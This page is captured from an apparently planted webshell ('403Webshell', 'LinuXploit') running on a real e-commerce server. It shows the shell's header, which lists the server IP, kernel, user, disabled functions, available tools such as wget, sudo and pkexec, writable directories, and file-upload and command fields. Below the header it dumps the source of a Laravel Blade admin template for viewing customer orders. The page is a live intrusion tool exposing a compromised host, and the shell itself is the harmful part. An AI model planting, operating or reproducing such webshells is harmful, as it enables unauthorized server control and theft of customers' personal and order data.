403Webshell
Server IP : 103.161.17.216  /  Your IP : 216.73.216.1
Web Server : nginx/1.18.0
System : Linux tipsysaigoncharming 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/thammyviendd.com/resources/views/admin/order/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/thammyviendd.com/resources/views/admin/order/view_order.blade.php
@extends('admin_layout')
 @section('admin_content')
 <div class="table-agile-info">
  <div class="panel panel-default">
      <div class="panel-heading">
     Thông tin khách hàng 
      </div>
    	
    <div class="table-responsive">
       <?php
    $message = Session::get('message');if ($message) {
        echo '<span class="text-alert">',$message,'</span>';
        Session::put('message',null);
            // code...
        }
    
    ?>
      <table class="table table-striped b-t b-light">
        <thead>
          <tr>            
            <th>Tên Khách Hàng </th>
            <th>Số điện thoại</th>
            <th>Email</th>
            <th style="width:30px;"></th>
          </tr>
        </thead>
        <tbody>
              
          <tr>
            @if($customer==null)
            <td>Không có tài khoản</td>
           @else
            <td>{{$customer->customer_name}}</td>
            <td>{{$customer->customer_phone}}</td>
            <td>{{$customer->customer_email}}</td>
            @endif   
          </tr>
       
        </tbody>
      </table> 
    </div>
    
  </div>
</div>
<br></br>
<div class="table-agile-info">
  <div class="panel panel-default">
      <div class="panel-heading">
     Thông tin chuyển hàng 
      </div>
    	
    <div class="table-responsive">
       <?php
    $message = Session::get('message');if ($message) {
        echo '<span class="text-alert">',$message,'</span>';
        Session::put('message',null);
            // code...
        }
    
    ?>
      <table class="table table-striped b-t b-light">
        <thead>
          <tr>            
            <th>Tên Khách Hàng </th>
            <th>Địa Chỉ </th>
            <th>Số điện thoại</th>
            <th>Địa Chỉ Email</th>
            <th>Ghi Chú đơn hàng</th>
            <th>Hình thức thanh toán</th>
            <th style="width:30px;"></th>
          </tr>
        </thead>
        <tbody>
   
          <tr>
            <td>{{$shipping->shipping_name}}</td>
            <td>{{$shipping->shipping_address}}</td>
            <td>{{$shipping->shipping_phone}}</td>
            <td>{{$shipping->shipping_email}}</td>
            <td>{{$shipping->shipping_notes}}</td>
            <td>{{$shipping->shipping_method}}</td>
     
          </tr>
       
        </tbody>
      </table> 
    </div>
    
  </div>
</div>
<br></br>
  <div class="table-agile-info">
  <div class="panel panel-default">
    <div class="panel-heading">
     Liệt kê chi tiết đơn hàng
    </div>
    <div class="row w3-res-tb">
      <div class="col-sm-5 m-b-xs">
        <select class="input-sm form-control w-sm inline v-middle">
          <option value="0">Bulk action</option>
          <option value="1">Delete selected</option>
          <option value="2">Bulk edit</option>
          <option value="3">Export</option>
        </select>
        <button class="btn btn-sm btn-default">Apply</button>                
      </div>
      <div class="col-sm-4">
      </div>
      <div class="col-sm-3">
        <div class="input-group">
          <input type="text" class="input-sm form-control" placeholder="Search">
          <span class="input-group-btn">
            <button class="btn btn-sm btn-default" type="button">Go!</button>
          </span>
        </div>
      </div>
    </div>
    <div class="table-responsive">
       <?php
    $message = Session::get('message');if ($message) {
        echo '<span class="text-alert">',$message,'</span>';
        Session::put('message',null);
            // code...
        }
    
    ?>
      <table class="table table-striped b-t b-light">
        <thead>
          <tr>
            <th>STT </th>
            <th>Tên sản phẩm  </th>
             <TH>Mã hàng</th>
            <th> Số Lượng Tồn Kho</th>
            <th>Số lượng </th>
            <th>Giá</th>
            <th>Tổng tiền </th>
            
          </tr>
        </thead>
        <tbody>
          @php
          $total=0;
          $i=0;
          @endphp

   				 @foreach($order_details as $key => $ord_details)
          <tr>

            <td>{{$i+=1}}</td>
            <td>{{$ord_details->product_name}}</td>
            <td>{{$ord_details->product_sku}}</td>

            @foreach($sku_qty as $key=> $sku_q)

            @if($sku_q->product_sku==$ord_details->product_sku)

            <td>  {{$sku_q->product_quantity}} </td> @endif
             @endforeach 

            <td><input type="number" min="1" class="order_qty_{{$ord_details->product_id}}" name="product_sales_quantity" value="{{$ord_details->product_sales_quantity}}"> 

              <input type="hidden" name= "order_product_id" class="order_product_id" value="{{$ord_details->product_id}}"> 
              <button class="btn-sm btn-default update_quantity_order" name="update_quantity_order"> Cập Nhật</button>
            </td>


            <td>{{number_format($ord_details->product_price,0,',','.')}}đ</td>
             @php 
             $subtotal= $ord_details->product_sales_quantity *$ord_details->product_price ;
              $total+=$subtotal;
              @endphp

            <td> {{number_format($subtotal,0,',','.')}}đ</td>
            
           </tr>

         @endforeach 


     <tr><td> Tổng giá trị đơn hàng {{number_format($total,0,',','.')}}đ</td>
    
     <td>Phí vẫn chuyển {{number_format($ord_details->product_feeship,0,',','.')}}đ</td>
     
       <td> @if($coupon)
              @if ($coupon['coupon_condition']==1)
              <li>Mã Giảm:<span> {{$coupon['coupon_number']}}%</span></li>

                <p>

                  @php

                  $total_coupon = $total*$coupon['coupon_number']/100;

                  echo '<p> <li>Tổng tiền giảm <span>:  '.number_format($total_coupon,0,',','.').'đ</span></li></p>';
                  @endphp
                </p>
              
                  @elseif ($coupon['coupon_condition']==2)
                <li>Tiền giảm<span> {{number_format($coupon['coupon_number'],0,',','.')}}đ</span></li>

                <p>

                  @php

                  $total_coupon = $coupon['coupon_number'];
            
                  @endphp
                </p>

              
                @endif  

              @else 
              @php
              $total_coupon =0; echo 'Không Có Mã Giảm';
              @endphp
              @endif 
          </td>
           
            @php
            $endtotal= $total-$total_coupon +$ord_details->product_feeship;
            @endphp        

        <td colspan="2"> <p> <li style="font-weight:bold;font-size: 16px;">Thành tiền : {{number_format($endtotal,0,',','.')}}đ </li></p> <td>
       
        </tr>
        <td colspan="6"> 
          @foreach($order as $key => $or)
          @if($or->order_status==1)
          <form>
        <select class="form-control order_details">
          <option  value=""> ----Chọn tình trạng đơn hàng---- </option>
          <option id="{{$or->order_id}}" selected value="1">Chưa xử lý </option>
          <option id="{{$or->order_id}}"value="2">Đã xử lý - Giao Hàng</option>
          <option id="{{$or->order_id}}"value="3">Hũy Đơn Hàng</option>
        </select>
        </form>
        @elseif($or->order_status==2)
        <form>
        <select class="form-control order_details">
          <option  value=""> ----Chọn tình trạng đơn hàng---- </option>
          <option id="{{$or->order_id}}" value="1">Chưa xử lý </option>
          <option id="{{$or->order_id}}" selected value="2">Đã xử lý - Giao Hàng</option>
          <option id="{{$or->order_id}}" value="3">Hũy Đơn Hàng</option>
        </select>
        </form>
        @else
        <form>
        <select class="form-control order_details">
          <option  value=""> ----Chọn tình trạng đơn hàng---- </option>
          <option id="{{$or->order_id}}" value="1">Chưa xử lý </option>
          <option id="{{$or->order_id}}"  value="2">Đã xử lý - Giao Hàng</option>
          <option id="{{$or->order_id}}"selected value="3">Hũy Đơn Hàng</option>
        </select>
        </form>
         @endif 
         @endforeach
        </td>
        </tbody>
      </table> 

      <br><i class="fa fa-print"></i><a href="{{url('/print-order/'.$ord_details->order_code)}}"> In hóa đơn</a><br>
    </div>
    <footer class="panel-footer">
      <div class="row">
        
        <div class="col-sm-5 text-center">
          <small class="text-muted inline m-t-sm m-b-sm">showing 20-30 of 50 items</small>
        </div>
        <div class="col-sm-7 text-right text-center-xs">                
          <ul class="pagination pagination-sm m-t-none m-b-none">
            <li><a href=""><i class="fa fa-chevron-left"></i></a></li>
            <li><a href="">1</a></li>
            <li><a href="">2</a></li>
            <li><a href="">3</a></li>
            <li><a href="">4</a></li>
            <li><a href=""><i class="fa fa-chevron-right"></i></a></li>
          </ul>
        </div>
      </div>
    </footer>
  </div>
</div>

@endsection

Youez - 2016 - github.com/yon3zu
LinuXploit